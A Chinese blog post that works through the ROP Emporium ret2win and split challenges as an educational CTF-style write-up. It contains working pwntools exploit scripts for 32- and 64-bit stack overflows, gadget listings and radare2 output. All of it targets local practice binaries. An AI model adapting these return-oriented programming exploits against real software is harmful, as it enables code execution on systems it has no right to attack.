从头复习ROP
一、前言
从考研结束就一直很浮躁,虽然在实习期间学习运用了一段时间web技术,但是新东西总是不想看,旧的东西又不断忘记。9月研究生开学,也算是新的开始了,沉下心来沉淀一些东西吧。感觉在学校的期间学习二进制是最合适的,所以潜下心来把二进制捡起来。
话不多说了,开始吧。
二、参考资料
大佬们的资料都很浅显易懂,作为基础知识一定要先读一下:
一步一步学ROP之linux_x86篇(原创乌云,所以只能贴个盗版地址了)
http://www.vuln.cn/6645
一步一步学ROP之linux_x64篇(原创乌云,所以只能贴个盗版地址了)http://www.vuln.cn/6644
CTF All In One(3.1.4章):https://firmianay.gitbooks.io/ctf-all-in-one/doc/3.1.4_rop_x86.html
三、软件工具
以下是本文中用到的一些工具,其中的链接都包含如何安装,故在此不详细介绍安装过程。由于想尽可能训练二进制能力,所以本文将尽可能避免使用IDA进行反编译分析。
radare2(一个功能十分强大的汇编工具)
pwndbg(gdb的一个热门插件,本文并不涉及堆的知识,因此此工具使用较少,但其提供了一个比较清晰的分析界面。)
pwntools(做二进制写脚本必备的python库)
IDA Pro 这个各位在52上下载吧
四、一些基础内容
基础是很重要的,想了解二进制的内容必定是要了解一些汇编语言以及底层的函数调用机制等等。所幸在本科接触二进制的时候一定程度上了解了汇编语言的一些语法、栈与函数调用的关系、二进制文件的几种保护机制等等。所以本篇主要还是用以题目实践来复习的方式复习之前学到的知识。本人才疏学浅,如果有说错的地方大佬们勿喷。
五、Ropemporium题目实践(后续可能会更新)
5.1 ret2win
5.1.1 ret2win32
使用radare2打开文件并进行分析(这里之所以不用IDA是想熟悉一下如何使用r2):
经过分析后,我们可以查看elf文件的保护机制、函数列表、汇编代码、字符串列表、交叉引用以及寻找gadget等等。此时我们可以查看文件调用了哪些函数以及使用了哪些字符串(afl是用来查看所调用的函数情况,而iz可以查看所调用的字符串):
悉心的话,可以看到其中的关键字符串 /bin/cat flag.txt。我们查看其引用位置,在sym.ret2win中:
然后查看ret2win的引用情况,发现它没有被调用:
查看此处的汇编代码:
可见此处直接cat flag了,因此我们的目标就是通过栈溢出让函数跳转到此处。使用pwntools自带的函数构造污点,然后在gdb中运行程序:
可见此时EIP的值为’laaa’,我们计算一下栈溢出的偏移:
使用pwntools写脚本,构造payload:
from pwn import * p = process('./ret2win32') print p.recvline() print p.recvline() payload = 'a'*44 + p32(0x08048659) p.sendline(payload) p.interactive() |
5.1.2 ret2win(64位)
几乎和32位程序同理。就是偏移会少4位。
以下是payload:
from pwn import * p = process("ret2win") print p.recvline() print p.recvline() payload = 'a'*40 + p64(0x400811) p.sendline(payload) p.interactive() |
5.2 split
5.2.1 split32
先来查看源码吧:
很明显,上述输入存在栈溢出,我们可以使用gdb来获取偏移:
把污点拿回pwntools进行计算(貌似ropemporium里偏移都是一样的,但是我觉得还是每次都应该来计算一次):
可见此处需要的偏移是44,我们在看看它的字符串和plt表吧:
此处我们可以注意到它的plt表中存在system函数,我们可以直接调用,此外,此处它的字符串中还有cat flag.txt,我们也可以直接利用。使用pwntools脚本如下:
from pwn import * p = process('./split32') system_plt = 0x08048430 cat_flag_str = 0x0804a030 #此处使用44个'a'来填充栈,在第45位开始返回到system函数 payload = 'a'*44 #system地址后的4个'a'是system调用完成返回后的地址 #由于我们这里并不打算做后续操作,所以任意填写了4个'a'进行代替 #后面的cat_flag_str是我们system所希望使用的参数 payload += p32(system_plt) + 'a'*4 + p32(cat_flag_str) print p.recvline() print p.recvline() p.sendline(payload) p.interactive() |
5.2.2 split(64位)
思路与上面大同小异,也是偏移少了4位,但注意,64位和32位程序有个很重要的区别就是64位程序调用的前6个参数是依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数才会保存到栈上。总之,我们是需要寻找Gadget,来把我们需要的参数pop到需要的寄存器上。
如我们本题所遇到的情况,我们只需要一个参数来传递字符串”cat flag.txt”的地址,形如:
pop edi ret |
这样的汇编代码,我们跳到此位置就可以把需要调用的参数pop到edi上,然后在下一个地址存我们要返回的函数地址即system。
寻找gadget可以用安装pwntools自带的ROPgadget:
➜ split ROPgadget --binary split --only "pop|ret" Gadgets information ============================================================ 0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400880 : pop r14 ; pop r15 ; ret 0x0000000000400882 : pop r15 ; ret 0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004006b0 : pop rbp ; ret 0x0000000000400883 : pop rdi ; ret 0x0000000000400881 : pop rsi ; pop r15 ; ret 0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004005b9 : ret Unique gadgets found: 11 |
可见我们需要的gadget:pop rdi ; ret在地址0x400883处。
我们再查看一下64位程序中system的plt:
[0x00400650]> afl 0x00400650 1 41 entry0 0x00400610 1 6 sym.imp.__libc_start_main 0x00400680 4 50 -> 41 sym.deregister_tm_clones 0x004006c0 4 58 -> 55 sym.register_tm_clones 0x00400700 3 28 entry.fini0 0x00400720 4 38 -> 35 entry.init0 0x004007b5 1 82 sym.pwnme 0x00400600 1 6 sym.imp.memset 0x004005d0 1 6 sym.imp.puts 0x004005f0 1 6 sym.imp.printf 0x00400620 1 6 sym.imp.fgets 0x00400807 1 17 sym.usefulFunction 0x004005e0 1 6 sym.imp.system |
可见system的plt位置是0x4005e0。再查看一下cat flag.txt字符串的地址:
[0x00400650]> iz [Strings] Num Paddr Vaddr Len Size Section Type String 000 0x000008a8 0x004008a8 21 22 (.rodata) ascii split by ROP Emporium 001 0x000008be 0x004008be 7 8 (.rodata) ascii 64bits\n 002 0x000008c6 0x004008c6 8 9 (.rodata) ascii \nExiting 003 0x000008d0 0x004008d0 43 44 (.rodata) ascii Contriving a reason to ask user for data... 004 0x000008ff 0x004008ff 7 8 (.rodata) ascii /bin/ls 000 0x00001060 0x00601060 17 18 (.data) ascii /bin/cat flag.txt |
本题的exp如下:
from pwn import * p = process('./split') pop_edi_ret_gadget = 0x00400883 cat_flag_str = 0x00601060 system_plt = 0x004005e0 #添加偏移 payload = 'a'*40 #跳转到我们之前所找到的gadget payload += p64(pop_edi_ret_gadget) #利用gadget将cat flag.txt字符串地址pop到edi寄存器上 #再通过ret跳转到system的plt表处 payload += p64(cat_flag_str) + p64(system_plt) print p.recvline() print p.recvline() p.sendline(payload) p.interactive() |